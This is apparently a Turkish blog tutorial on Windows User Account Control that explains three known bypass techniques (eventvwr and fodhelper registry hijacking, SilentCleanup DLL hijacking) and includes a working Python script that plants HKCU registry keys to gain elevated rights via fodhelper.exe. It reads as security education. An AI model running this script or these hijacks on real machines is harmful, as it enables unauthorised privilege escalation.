UAC (User Account Control) Nedir ve Nasıl ByPass Edilir?

UAC (User Account Control) Nedir?

Türkçesi ile Kullanıcı Hesabı denetimi, Microsoft tarafından sunulan işletim sistemlerinde kullanılan bir erişim denetimi uygulama aracıdır. Windows Vista ile başlayan UAC günümüzde güncen Windows 10 ve Windows Server işletim sistemlerinde de aktif olarak kullanılmaktadır.
Admin yetkilerine sahip olan bir hesap ile login olmuş olsak dahi herhangi bir uygulama yüklenmeden önce karşımıza aşağıdaki pencere çıkmaktadır.

Yönetici yetkisi olmadan yükleme yapmayı engellemek bir güvenlik önlemidir. Windows kurulum yapmak istediğiniz programı algılayarak bizden bir onay ister. Eğer hayır seçeneğini tıklarsak kurulum gerçekleşmez. Bu sayede iznimiz olmadan uygulama yüklenmesinin önüne geçilmiş olur. Ancak kötü niyetli hackerlar(bu ne demekse artık) bunu da bypass etmenin yöntemlerini bulmuşlardır. Bypass yöntemlerine yazının devamında değineceğiz.

UAC Kapatılabilir mi?

Default olarak açık gelen bu özellik kapatılabiliyor. Bu özelliğin kapatılması kesinlikle önerilmemektedir. Bu nedenle eğer Windows güvenlik önlemleri hakkında yeterince bilgi sahibi değilseniz aşağıdaki adımları uygulamamanızı tavsiye ederiz.

Başlat menüsünden Denetim Masası > Kullanıcı Hesapları Bölümüne girin.

En alt kısımda bulunan “Kullanıcı Hesabı Denetimi Ayarlarını Değiştirin” kısmını tıklayın.

Çıkan pencerede “Hiçbir zaman uyarma” seçeneğini seçerseniz bu özelliği devre dışı bırakmış olursunuz.

Yukarıdaki seçenekleri incelememiz bypass yöntemleri için bir zemin oluşturacaktır.

1. Her zaman uyar

Şu durumda her zaman uyar:
• Uygulamalar yazılım yüklemeyi veya bilgisayarımda değişiklikler yapmayı denediğinde
• Windows ayarlarında değişiklik yaptığımda

2. Yalnızca uygulamalar bilgisayarımda değişiklik yapmaya çalıştığında uyar (VARSAYILAN)

• Windows ayarlarında değişiklik yaptığımda uyarma

3. Yalnızca uygulamalar bilgisayarımda değişiklik yapmaya çalıştığında uyar (masaüstümü soluklaştırma)

• Windows ayarlarında değişiklik yaptığımda beni uyarma

4. Şu durumda beni hiçbir zaman uyarma:

• Uygulamalar yazılım yüklemeyi ve bilgisayarımda değişiklikler yapmayı denediğinde
• Windows ayarlarında değişiklik yaptığımda

UAC Windows’taki admin grubunun bir parçasıdır. Bu grubun bir parçası olması ve açılıp kapatılabilen bir seçenek olması aklımızda hemen bunun nasıl bypass edilebileceği düşünülmelidir.

UAC Baypass Yöntemleri:

Yöntemlere başlamadan önce anlamımız gereken bir konu daha var. Windows’ta yönetici tarafından oluşturulan “Process Token”leri normal bir kullanıcının oluşturduğu proseslerden farklı olarak bazı ayrıcalıklar ile çalışmaktadır. Örneğin bir uygulamayı “Yönetici Olarak Çalıştır” diyerek çalıştırdığınızda ne olduğunu inceleyelim.

Terminal çıktımızı incelediğimizde cmd uygulamasını yönetici olarak çalıştırmak ile yönetici olmadan çalıştırmak arasındaki hak farklarını görebiliriz.

Metot 1:

UAC bypass metotlarının birçoğunda zararlı bir DLL dosyası kullanılır. Bu metotta herhangi bir dosya kullanmadan bypass yapabilmek mümkün.

Bunun için öncelikle registry’deki HKEY_CLASSES_ROOT (HKCR) ve HKEY_CURRENT_USER (HKCU)’nun ne olduğunu ve birbirleri ile iletişimlerini anlayalım.

HKCR basitçe HKLM:\Software\Classes ve HKCU:\Software\Classes’ın birleşimidir. Bu birleşim sayesinde key hijacking yapmak için HKCU:\Software\Classes içinde oluşturduğumuzu HKCR:\ içinden çekebiliriz.

HKCR ve HKCU bir ilişki içinde olduğundan dolayı bu ikisi ile etkileşime geçen herhangi bir “Elevated Process” HKCU’daki değerlere müdahale etmeyi sağlayacağından oldukça kullanışlı olacaktır bizim için.

Normal bir kullanıcı olarak HKCU içindeki keylere yazma erişimimiz vardır. Eğer bir “Elevated Process” manipüle edebileceğimiz keylerle etkileşime geçiyorsa orada gerçekleşen “High-Integrity Process” gerçekleştirmeye çalıştığı işlemlere müdahale etme şansı bulabiliriz.

Bu linkte bahsedildiği gibi yapılarından dolayı “Auto Elevate” olan Microsoft imzalı bazı binary dosyaları vardır.

Örnek senaryo:

eventvwr.exe dosyası HKCU:\Software\Classes\mscfile\shell\open\command ile etkilişime geçmekte ve “Name not found” çıktısı vermekte. Aynı zamanda eventvwr.exe dosyası HKCR\mscfile\shell\ open\command ile de etkileşime giriyor. HKCR\mscfile\shell\open\command’iincelediğimizde mmc.exe (Microsoft Management Console) için default olarak çağırılmaya ayarlandığını görebiliriz.

Ayrıca eventvwr.exe dosyası HKCR\mscfile\shell\open\command’den önce HKCU\Software \Classes\mscfile\shell\open\command’de sorgulandığını görebiliriz. HKCU ile yaptığımız sorgu sonrası gelen cevap “Name not found” olduğu için HKCR konumuna bakalım:

Eventvwr.exe bir High Integrity process’i olarak mmc.exe’yi başlatmak için hem HKCU hem HKCR’de sorgu yaptığını görebiliriz. Mmc.exe çalıştıktan sonra Event Viewer’ın açılmasına neden olan eventvwr.msc dosyasını açar. Buradan hareketle eventvwr.exe için HKCR konumu yerine HKCU konumunu sorgulamak için kayıt defteri oluşturulabilir ve HKCR\mscfile\shell\open\command içinde varsayılan olarak bulunan dosyayı powershell.exe ile değiştirebiliriz.

Bu sayede herhangi bir dosya göndermeye gerek kalmadan yakalanma riski azaltılarak UAC bypass işlemi gerçekleştirilebilir.

Metot 2:

Fodhelper.exe C:\Windows\System32 altında bulunan bir “trusted binary”dir. Bir kullanıcı Uygulamalar ve Özellikler ekranından İsteğe Bağlı Özellikleri değiştirmek istediğinde fodhelper.exe çalışmaktadır.

Fodhelper.exe yapılandırma ayarlarında “auto-elevation” içermekte ve ayrıca Microsoft tarafından güvenli bir dizine yerleştirilmiş güvenilir sertifikaya sahip. Bu dosya çalıştırılırken UAC’a gerek kalmayacağı anlamını çıkarabiliriz.


Fodhelper.exe çalışırken işletim sistemindeki iki kayıt defteri key’ine dayanmaktadır. Bunları aşağıda görebilirsiniz.

Software\Classes\ms-settings\shell\open\command\(default)
Software\Classes\ms-settings\shell\open\command\DelegateExecute

Yine bir saldırgan gözü ile baktığımızda bir önceki metotta yaptığımız gibi burada da bir saldırı düzenleyebiliriz.

Var olan kullanıcının komut dosyasını admin yetkisi ile çalıştırıp çalıştıramadığını kontrol eden basit bir Python scripti çalıştırabiliriz:

import os
import sys
import ctypes
import _winreg
def is_running_as_admin():
'''
Checks if the script is running with administrative privileges.
Returns True if is running as admin, False otherwise.
'''
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
def execute():
if not is_running_as_admin():
print '[!] The script is NOT running with administrative privileges'
else:
print '[+] The script is running with administrative privileges!'
if __name__ == '__main__':
execute()

Yukarıdaki scripti yönetici olarak çalıştıramazsak aşağıdaki uyarıyı alacağız:

 [!] The script is NOT running with administrative privileges 

Şimdi de kodumuzu UAC’ı bypass edecek şekilde düzenleyip o şekilde çalıştırmayı deneyelim.

import os
import sys
import ctypes
import _winreg
CMD = r"C:\Windows\System32\cmd.exe"
FOD_HELPER = r'C:\Windows\System32\fodhelper.exe'
PYTHON_CMD = "python"
REG_PATH = 'Software\Classes\ms-settings\shell\open\command'
DELEGATE_EXEC_REG_KEY = 'DelegateExecute'
def is_running_as_admin():
'''
Checks if the script is running with administrative privileges.
Returns True if is running as admin, False otherwise.
'''
try:
return ctypes.windll.shell32.IsUserAnAdmin()
except:
return False
def create_reg_key(key, value):
'''
Creates a reg key
'''
try:
_winreg.CreateKey(_winreg.HKEY_CURRENT_USER, REG_PATH)
registry_key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER, REG_PATH, 0, _winreg.KEY_WRITE)
_winreg.SetValueEx(registry_key, key, 0, _winreg.REG_SZ, value)
_winreg.CloseKey(registry_key)
except WindowsError:
raise
def bypass_uac(cmd):
'''
Tries to bypass the UAC
'''
try:
create_reg_key(DELEGATE_EXEC_REG_KEY, '')
create_reg_key(None, cmd)
except WindowsError:
raise
def execute():
if not is_running_as_admin():
print '[!] The script is NOT running with administrative privileges'
print '[+] Trying to bypass the UAC'
try:
current_dir = os.path.dirname(os.path.realpath(__file__)) + '\\' + __file__
cmd = '{} /k {} {}'.format(CMD, PYTHON_CMD, current_dir)
bypass_uac(cmd)
os.system(FOD_HELPER)
sys.exit(0)
except WindowsError:
sys.exit(1)
else:
print '[+] The script is running with administrative privileges!'
if __name__ == '__main__':
execute()

Eğer scriptimiz beklediğimiz gibi çalışırsa Komut satırımızda aşağıdaki gibi bir değişiklik olacak.

Komut satırında kırmızı ile işaretlenen yerlerde görebileceğiniz üzere Administrator olarak çalıştırmayı başardık.

Peki scriptleri çalıştırınca arka planda ne oldu?

Kısaca script çalıştığında Software\Classes\ms-settings\shell\open\command altındaki iki key için işletim sistemine her fodhelper.exe’yi çalıştırdığında bizim kodumuzu da çalıştır demiş oluyor. Keyler registry’ye kaydolduktan sonra binary dosyamız çalışmış oluyor. Bu sayede de UAC bypass başarılı bir şekilde sonuçlanıyor.

Metot 3:

Windows’da “SilentCleanup” adı verilen zamanlanmış bir görev admin yetkileri olmayan kullanıcılar tarafından elevated/high integrity privileges olarak çalıştırılmasının mümkün olduğu biliniyor. cleanmgr.exe tarafından başlatılan prosesler görev yapılandırmasında yer alan “en yüksek yetki ile çalıştırma” özelliği nedeniyle otomatik olarak yetkisi yükseltilerek başlatılmakta.

Saldırının nasıl çalışacağına biraz daha yakından bakalım.

Cleanmgr.exe dosyası çalıştığında C:\Users\<username>\AppData\Local\Temp içerisinde GUID adında yeni bir dizin oluşturur. Daha sonrasında dismhost.exe ile birlikte birçok DLL dosyası bu klasörün içine kopyalanır. Daha sonra high integrity process olarak dismhost.exe çalıştırılır. Dismhost.exe daha önce oıluşan GUID klasörü dışında bir klasörden başlatılırsa başlatıldığı klasörden DLL’leri belirli bir sırada yüklemeye başlar.

Bu sayede %TEMP% dizinine yazma hakkı olan tüm kullanıcılar dismhost.exe tarafından yüklenen bir DLL dosyasını ele geçirip bir kod çalıştırabilirler. Bu saldırı da “BypassUAC” olarak bilinmektedir.

Kaynaklar:
https://attack.mitre.org/techniques/T1088/
https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
https://enigma0x3.net/2016/07/22/bypassing-uac-on-windows-10-using-disk-cleanup/
https://dzone.com/articles/bypassing-windows-10-uac-withnbsppython

Leave a reply:

Your email address will not be published.

Site Footer

Sliding Sidebar